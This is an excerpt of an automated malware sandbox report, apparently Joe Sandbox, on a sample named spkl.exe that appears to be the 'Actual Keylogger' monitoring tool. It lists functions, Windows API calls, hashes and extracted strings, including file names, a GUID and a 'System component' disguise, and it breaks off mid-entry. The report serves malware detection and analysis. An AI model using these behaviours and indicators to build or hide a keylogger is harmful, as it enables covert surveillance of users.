Instruction Fuzzy Hash: 0111D3B58003499FDB10DF9AD985BDEBBF8EB48324F24841AE518A7740C375A954CFA1

Function 086F4EF8 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 086F4F55

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 3d9eea3605e44471f5c5f440e685e6df353193347c9eb7130f9be4c8259ede67
Instruction ID: a08021d932ab1718094cd2395b41be52152a61c946b1dd457b1c6c766083f990
Opcode Fuzzy Hash: 3d9eea3605e44471f5c5f440e685e6df353193347c9eb7130f9be4c8259ede67
Instruction Fuzzy Hash: 0311D3B58003499FDB10DF9AC985BDEBBF8EB48324F20841AE518A7600C375A944CFA5

Function 09EAC8DF Relevance: 1.5, APIs: 1, Instructions: 43threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 09EAC938

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: d448e2d55a74be590ec33bc147c8ae9c3a0383ec74380074b26f72c9e72ab38b
Instruction ID: d97bfc01f5b0e17bf9ee45ea3a85aec9b93512834264e72294787634e138b8da
Opcode Fuzzy Hash: d448e2d55a74be590ec33bc147c8ae9c3a0383ec74380074b26f72c9e72ab38b
Instruction Fuzzy Hash: 961133B58002498FDB20CF89C94ABDEBFF4EB08324F20844AD558BB340C375A944CFA4

Function 09EA0DA8 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 09EA0E05

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 5aa93dc04eea13c263d4c9818f5de522fccf90f3584286ba2b1de740c559936a
Instruction ID: 415791ca562203dda61f34e7ba4fe7b473784551b55437e4c73f2bf3acc0aa0c
Opcode Fuzzy Hash: 5aa93dc04eea13c263d4c9818f5de522fccf90f3584286ba2b1de740c559936a
Instruction Fuzzy Hash: A311D0B5D00649CFCB20DF9AD544BDEFBF4EB48324F20841AD418A7610D378A944CFA5

Function 086F9652 Relevance: 1.5, APIs: 1, Instructions: 29windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 086F96DD

Memory Dump Source

Source File: 00000000.00000002.2298794389.00000000086F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_86f0000_404.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: d89e4375fd49f28b69a0eaae8588143f6323fe7462182527c0b52f24b39f4a42
Instruction ID: 2d8177de352026aa0ca22b5fbcb14e58d287e8ffa8bb29b093f9c6cbf999b698
Opcode Fuzzy Hash: d89e4375fd49f28b69a0eaae8588143f6323fe7462182527c0b52f24b39f4a42
Instruction Fuzzy Hash: 11F0E533400202CEEB20CB59E9457EDFBD4DB50325F68842AD158D2681D33CD284CB50

Function 00C7D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2291779221.0000000000C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c7d000_404.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9f5c5d030bfccbdd3a17dcdc4881bd86d50b0899db990d71720952b35e144cc
Instruction ID: 5d3cc282a1428086ad422d363dddd6dd180c7d19412ac99ba2d465dc7f0b7e8a
Opcode Fuzzy Hash: c9f5c5d030bfccbdd3a17dcdc4881bd86d50b0899db990d71720952b35e144cc
Instruction Fuzzy Hash: A321CFB1604200AFDB05DF14D9C0B26BBB5FF84314F24C9A9E94E4B292C336D846CA61

Function 00C7D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2291779221.0000000000C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c7d000_404.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3748d7ec110222482281f1550630fcb10e9e73021c837421fae075f11dac9c8f
Instruction ID: 96dddc5b6000f679f90cdad0babf4b1c19570589bcf74c51506f0c9a18707e45
Opcode Fuzzy Hash: 3748d7ec110222482281f1550630fcb10e9e73021c837421fae075f11dac9c8f
Instruction Fuzzy Hash: 4021CFB56042009FCB14DF14D9C0B26BB75EB84314F24C969E90E4B296C33AD846CA61

Function 00C7D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2291779221.0000000000C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c7d000_404.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90c56dcff09fa9a47596515d33f57331062da708d259b5ca7efb7ed332d10564
Instruction ID: d6fffa718ae2ad9e7f2d7fddc6b443590a0fc734871b46fd48ab6dc91e85f985
Opcode Fuzzy Hash: 90c56dcff09fa9a47596515d33f57331062da708d259b5ca7efb7ed332d10564
Instruction Fuzzy Hash: BB218E755093808FCB12CF24D990B15BF71EF46314F28C5EAD8498B6A7C33A990ACB62

Function 00C7D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2291779221.0000000000C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c7d000_404.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 244c614e04a80719a4cbb1e35d09afbc7f52f2045db6f081cea45e42cbbeead8
Instruction ID: dddeadaf778eddf492b708de5d502829ed64b4ea5c0a58ee74e2228ae4706bd2
Opcode Fuzzy Hash: 244c614e04a80719a4cbb1e35d09afbc7f52f2045db6f081cea45e42cbbeead8
Instruction Fuzzy Hash: 9E118B75504280DFDB16CF14D5C4B15BBB2FF84314F28C6AAD84A4B696C33AD94ACB61

Non-executed Functions

Function 09EA7E40 Relevance: 7.6, APIs: 5, Instructions: 117keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000001), ref: 09EA7E9D
GetKeyState.USER32(00000002), ref: 09EA7EE2
GetKeyState.USER32(00000004), ref: 09EA7F27
GetKeyState.USER32(00000005), ref: 09EA7F6C
GetKeyState.USER32(00000006), ref: 09EA7FB1

Memory Dump Source

Source File: 00000000.00000002.2299701658.0000000009EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ea0000_404.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: dd3a8ade39377e4004a412abf55b2c43ede159a4979f35b0c373a8b01cd16f0f
Instruction ID: 7def0b9cbdf56acd35dbef089734a8e0d3c9944dabee7b58005737be9d469b59
Opcode Fuzzy Hash: dd3a8ade39377e4004a412abf55b2c43ede159a4979f35b0c373a8b01cd16f0f
Instruction Fuzzy Hash: 1251BAB5D00785CEDB21CF99C5497AFBFF8AF04308F24944AD148EB250C779AA45CBA6

Function 024FDC34 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2292083241.00000000024F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24f0000_404.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d042fbdf65fe1e28dde06ef2d8c4f7a1d816b64c5c070e3c3808afff491ce30
Instruction ID: c599d63753d82ef1760cd65621ab60e0913321b7191bc7c61833ab4912b87d0b
Opcode Fuzzy Hash: 3d042fbdf65fe1e28dde06ef2d8c4f7a1d816b64c5c070e3c3808afff491ce30
Instruction Fuzzy Hash: C6A14A32E00209CFCF05DFB5C98459EB7B2FFC5304B16456AEA05AB2A5DB71E956CB80

Analysis Process: spkl.exePID: 4280, Parent PID: 7616COMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	67.8%
Signature Coverage:	4.6%
Total number of Nodes:	345
Total number of Limit Nodes:	27

Executed Functions

Function 03354CB8 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 151
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 03354CD4
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 03354CF2
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F003F,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 03354D10
RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000005,00000000,03354D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?), ref: 03354D4A
RegQueryValueExA.ADVAPI32(?,03354EB0,00000000,00000000,00000000,00000005,?,00000000,00000000,00000000,00000000,00000005,00000000,03354D84,?,80000001), ref: 03354D68
RegCloseKey.ADVAPI32(?,03354D8B,00000000,00000000,00000005,00000000,03354D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 03354D7E
lstrcpy.KERNEL32(?,?), ref: 03354D96
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?), ref: 03354DA3
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?), ref: 03354DA9
lstrlen.KERNEL32(00000000), ref: 03354DD4
lstrcpy.KERNEL32(00000000,00000000), ref: 03354E0B
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 03354E1B
lstrcpy.KERNEL32(00000000,00000000), ref: 03354E31
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 03354E41
lstrcpy.KERNEL32(00000000,00000000), ref: 03354E55
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 03354E65

Strings

Software\Borland\Delphi\Locales, xrefs: 03354D06
Software\Borland\Locales, xrefs: 03354CE8
., xrefs: 03354DE6

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: lstrcpy$LibraryLoad$LocaleOpenQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 466793542-3917250287
Opcode ID: 7205093fcfb9ce0e90a7f36839db269fb4f0e5abbc655984a841f9324b2ca6ab
Instruction ID: b3e7cf520339b660b829ecce7fadf9918fcebe8d69502b1546da92d6a3c15165
Opcode Fuzzy Hash: 7205093fcfb9ce0e90a7f36839db269fb4f0e5abbc655984a841f9324b2ca6ab
Instruction Fuzzy Hash: BA414C75E4035C7AEF25D6E49CC6FEEB7BC9B04744F4500E1BE04EA582D6B49A84CBA0

Function 03354D8A Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
stringlibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?,?), ref: 03354D96
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?), ref: 03354DA3
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?), ref: 03354DA9
lstrlen.KERNEL32(00000000), ref: 03354DD4
lstrcpy.KERNEL32(00000000,00000000), ref: 03354E0B
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 03354E1B
lstrcpy.KERNEL32(00000000,00000000), ref: 03354E31
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 03354E41
lstrcpy.KERNEL32(00000000,00000000), ref: 03354E55
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 03354E65

Strings

., xrefs: 03354DE6

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: lstrcpy$LibraryLoad$Locale$InfoThreadlstrlen
String ID: .
API String ID: 83785346-248832578
Opcode ID: 1679add4925f18d3045a051d51c388a46b2d4d95985325ceb72851c3d43ca984
Instruction ID: 25255dc930a73634f12b6e48bfd4d7af5978fd133e4ecd7a635489e7dbefbf29
Opcode Fuzzy Hash: 1679add4925f18d3045a051d51c388a46b2d4d95985325ceb72851c3d43ca984
Instruction Fuzzy Hash: A8211B75D4035C7AEF29D6E49CC5FEEA7BC5B05784F4800D1BA08EA581D6789F848B90

Function 0040AD50 Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,?,00000000,?,0040AF14,?,?,?,00000000,00000105,00000000,0040AF4B), ref: 0040AD6C
GetLocaleInfoW.KERNEL32(?,00000003,?,?,00000000,?,0040AF14,?,?,?,00000000,00000105,00000000,0040AF4B), ref: 0040AD75

Part of subcall function 0040AC68: FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040AC82
Part of subcall function 0040AC68: FindClose.KERNEL32(00000000,?,?,00000000), ref: 0040AC92

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: 316a988e03bb6a19fe7d88bc5a369a1a7340225a20f3a7857aa2c13cfe36e33b
Instruction ID: 05cb4437e63bb6b3272f06b966d88aae6be7d9b60112c97dc79dcad86f01a405
Opcode Fuzzy Hash: 316a988e03bb6a19fe7d88bc5a369a1a7340225a20f3a7857aa2c13cfe36e33b
Instruction Fuzzy Hash: DEF03A752413086FDB00DE9DD98CDA677DCBF18358F4040AAF948DF381C679E8409B69

Function 0040AC68 Relevance: 3.0, APIs: 2, Instructions: 21fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040AC82
FindClose.KERNEL32(00000000,?,?,00000000), ref: 0040AC92

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 9d19eb6e901d290de53762759ddddb56684746f91034ed087828929b31504424
Instruction ID: 4447641847811743a9d484fd75f598e74346f1db9ae7184df3dfd51839572a63
Opcode Fuzzy Hash: 9d19eb6e901d290de53762759ddddb56684746f91034ed087828929b31504424
Instruction Fuzzy Hash: 0DD0C26251060927CA20D9BC8C89A9E738C5A00224B180766795CE32C0FA35D91005AD

Function 033575E8 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ecf945b71f54a3124df47cedfe2b4815bd81d27520891cf9e0f0ea53d9edb37
Instruction ID: 739e5c33e5f20d61753d14e9231b9ac7875334cf3b41e0998f6de240eac6ebb0
Opcode Fuzzy Hash: 4ecf945b71f54a3124df47cedfe2b4815bd81d27520891cf9e0f0ea53d9edb37
Instruction Fuzzy Hash: 0FF01276D0530CAACB50EAE8CCC5ECEB3AC5F05224F501792BD19E7191EB349B144B51

Function 008675DC Relevance: 53.0, APIs: 3, Strings: 27, Instructions: 544
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetPathFromIDListW.SHELL32(0088735C,00887360,?,?,?,?,00000000,00000000), ref: 00867669
FindWindowW.USER32(Tfmm,00000000,?,?,?,?,00000000,00000000), ref: 00867887
ShellExecuteW.SHELL32(00000000,00867FC8,00000000), ref: 00867B9D

Strings

SYSTEM, xrefs: 00867BBE
\spmm.exe, xrefs: 008678A6
C:\ProgramData, xrefs: 0086765E, 00867673
Tfmm, xrefs: 00867882
app:Run:First, xrefs: 00867A27
SPS, xrefs: 00867BB9
app:Run, xrefs: 00867A37
\temp\reg\info.uid, xrefs: 008676AE
Actual Keylogger, xrefs: 00867A48
wlg.exe, xrefs: 00867C5E
.22, xrefs: 00867B05
System component, xrefs: 00867876
AKMBUS, xrefs: 00867A85
basic start, xrefs: 00867BB2
Desktop, xrefs: 00867AE8
RUNNING, xrefs: 00867B32
{78DFD215-B0D1-DA34-FE1A-278DDF34561C}, xrefs: 00867C16, 00867C7A, 00867CC0, 00867D06
@7{, xrefs: 008679B5
Business, xrefs: 00867AA0
Trial, xrefs: 00867A6E
q842y95uit, xrefs: 008678E0, 00867BF1
sps.exe, xrefs: 00867C4A
spmm.exe, xrefs: 00867B83, 00867C54
t-|, xrefs: 00867930
Online, xrefs: 00867ACF
d2|, xrefs: 00867956
TSystemComponentM, xrefs: 00867C30, 00867C94, 00867CDA, 00867D20

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000863000.00000040.00000001.01000000.00000014.sdmp, Offset: 00863000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_863000_spkl.jbxd

Similarity

API ID: ExecuteFindFromListPathShellWindow
String ID: Business$ Desktop$ Online$ Trial$.22$@7{$AKMBUS$Actual Keylogger$C:\ProgramData$RUNNING$SPS$SYSTEM$System component$TSystemComponentM$Tfmm$\spmm.exe$\temp\reg\info.uid$app:Run$app:Run:First$basic start$d2|$q842y95uit$spmm.exe$sps.exe$t-|$wlg.exe${78DFD215-B0D1-DA34-FE1A-278DDF34561C}
API String ID: 3610533966-2168388552
Opcode ID: e11afc3a4444000ae4868accce0f2068def0354540f18ba533456dfe47c48f64
Instruction ID: 94ada79b6983850db52b76a130c23aa80cb03ac332c394dfa09cf6b95f2b9070
Opcode Fuzzy Hash: e11afc3a4444000ae4868accce0f2068def0354540f18ba533456dfe47c48f64
Instruction Fuzzy Hash: D1126F30744205ABD710FBA6DD86F6A33A6FB44708F11447AF604AB3D6CA78EC458B99

Function 0040A8FC Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 156
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040AAE1,?,00000000), ref: 0040A935
lstrcpynW.KERNEL32(?,00000000,00000105,00000000,0040AAE1,?,00000000), ref: 0040A951
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,000F0019,?,00000000,?,00000105,00000000,0040AAE1,?,00000000), ref: 0040A97E
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105,00000000,0040AAE1), ref: 0040A99C
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?), ref: 0040A9BA
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001), ref: 0040A9D8
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,0040AAC4,?,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales), ref: 0040AA18
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,00000000,0040AAC4,?,80000001), ref: 0040AA43
RegQueryValueExW.ADVAPI32(?,0040AB98,00000000,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,0040AAC4,?,80000001), ref: 0040AA67
RegQueryValueExW.ADVAPI32(?,0040AB98,00000000,00000000,?,?,?,0040AB98,00000000,00000000,00000000,?,?,?,00000000,00000000), ref: 0040AA90
RegCloseKey.ADVAPI32(?,0040AACB,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,0040AAC4,?,80000001,Software\CodeGear\Locales), ref: 0040AABE

Strings

Software\Borland\Locales, xrefs: 0040A9B0
Software\Borland\Delphi\Locales, xrefs: 0040A9CE
Software\CodeGear\Locales, xrefs: 0040A974, 0040A992

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: OpenQueryValue$CloseFileModuleNamelstrcpyn
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales
API String ID: 3482678030-345420546
Opcode ID: 7686037f220fb291434b12021684ca3a9d7a2f0a43b6e3ea7526b31b9d2f4114
Instruction ID: f6036664f45c3f7286cd2f27c23185f6ba116a880561e7131eb2050cadb9a691
Opcode Fuzzy Hash: 7686037f220fb291434b12021684ca3a9d7a2f0a43b6e3ea7526b31b9d2f4114
Instruction Fuzzy Hash: A0510371B40308BEEB10EAA5CD46FAE77BCEB08704F504477B604F61C1D6B9AA50DB5A

Function 00403190 Relevance: 12.2, APIs: 8, Instructions: 221
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?), ref: 00403226
Sleep.KERNEL32(0000000A,00000000,?), ref: 00403240

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: fdb00ec2100902d794fb1cbc3425dcf34a78a7217ddd200d769621c9536ef4d7
Instruction ID: bbdc09685489627ed5b39331dc89ee397961f4a8db56afddfdf96e3286142ac2
Opcode Fuzzy Hash: fdb00ec2100902d794fb1cbc3425dcf34a78a7217ddd200d769621c9536ef4d7
Instruction Fuzzy Hash: BA7105712043508FE711CF298E89B16BFD8AF85315F1482BFE848AB3D6D6B8C945CB59

Function 0338624C Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 110
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0338628F

Strings

KERNEL32.DLL, xrefs: 033862AB
The procedure entry point , xrefs: 03386333
The ordinal , xrefs: 033862E8
LOADER ERROR, xrefs: 03386327, 0338636E
could not be located in the dynamic link library , xrefs: 033862FF, 03386346

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3370000_spkl.jbxd

Similarity

API ID: AddressProc
String ID: could not be located in the dynamic link library $KERNEL32.DLL$LOADER ERROR$The ordinal $The procedure entry point
API String ID: 190572456-2170670254
Opcode ID: 3db67850a0e8ef2962658a3cbe1294c1956f88bba3b88e94c18f2ab9da355a2f
Instruction ID: 82baa38ced6ab8558fe7e3671ab438bf34eed339115905a45e6f1b995836d082
Opcode Fuzzy Hash: 3db67850a0e8ef2962658a3cbe1294c1956f88bba3b88e94c18f2ab9da355a2f
Instruction Fuzzy Hash: 6A311078A00309AFDB00EFA4CCC2EAEB7B9FF48314F518465FA14AB215D774A9518B61

Function 0040A5B8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlLeaveCriticalSection.NTDLL(0087FB5C), ref: 0040A5FA
RtlEnterCriticalSection.NTDLL(0087FB5C), ref: 0040A67A
lstrcpynW.KERNEL32(0087FB78,00000000,000000AA,0087FB5C,00000000,00000002,0087FB5C,0087FB5C,00000000,0040A6BD,?,?,00000000,00000000,?,0040AED0), ref: 0040A698
RtlLeaveCriticalSection.NTDLL(0087FB5C), ref: 0040A6A2

Strings

en-GB,en,en-US,, xrefs: 0040A5E6, 0040A693

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Enterlstrcpyn
String ID: en-GB,en,en-US,
API String ID: 1122274999-3021119265
Opcode ID: d61ae319eddf6f4b60b69cee88791db6c14e0c5a944f71a2f4ff1963d7f7d212
Instruction ID: 5723f58af9a41ac21a7e675cb0514bd364bd00aae00b971453d55b0790f8d9a3
Opcode Fuzzy Hash: d61ae319eddf6f4b60b69cee88791db6c14e0c5a944f71a2f4ff1963d7f7d212
Instruction Fuzzy Hash: 4421F2707043006AD611B777CD26A2922A5AB41B08F18483BB280F32D6C9BFCC15822F

Function 00402E0C Relevance: 7.8, APIs: 6, Instructions: 298
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 00402EC3
Sleep.KERNEL32(0000000A,00000000), ref: 00402ED9
Sleep.KERNEL32(00000000), ref: 00402F07
Sleep.KERNEL32(0000000A,00000000), ref: 00402F1D

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 60d3dac85de659a9c7c0bae1bfec1a805d797ea7c6b6b00d4ef26e0dfc08bfec
Instruction ID: dfee491c2d37e5c08d703103af1408169b37cdbe47cbf3463ff51bf6769a6579
Opcode Fuzzy Hash: 60d3dac85de659a9c7c0bae1bfec1a805d797ea7c6b6b00d4ef26e0dfc08bfec
Instruction Fuzzy Hash: 0BC1F2726053618BC725CF2DD988316BBA1BF85311F18827FD449AB3DAC7B8D881CB95

Function 03353518 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Runtime error at 00000000, xrefs: 033536C2, 033536E8

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID:
String ID: Runtime error at 00000000
API String ID: 0-1393363852
Opcode ID: bef475e897c0cb4512a579828adc6d088d58c205e83900f1f98e10aeb340885b
Instruction ID: 78dd12e7676b26e1b86455039b8505c1e7b2bb6cf23107b82dbb1942bbd0370a
Opcode Fuzzy Hash: bef475e897c0cb4512a579828adc6d088d58c205e83900f1f98e10aeb340885b
Instruction Fuzzy Hash: 15418EB8901340EFEB65EF24D8C5B5ABBA8AF863A0F19449AFC058F345C779C484CB51

Function 007B16A4 Relevance: 6.1, APIs: 4, Instructions: 111
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(00883E10), ref: 007B1723
RtlLeaveCriticalSection.NTDLL(00883E10), ref: 007B1758
SendMessageW.USER32(?,00000401,00000000,00000000), ref: 007B176A

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveMessageSend
String ID:
API String ID: 417868457-0
Opcode ID: 9c23c4270a22d343c1630606604c065f27a3af641e7f425ae807b8471eca6c14
Instruction ID: 2b5719dc66f3b9fb5d8c81c04123e9fde0138808427e2b248b1d477ac1de0d38
Opcode Fuzzy Hash: 9c23c4270a22d343c1630606604c065f27a3af641e7f425ae807b8471eca6c14
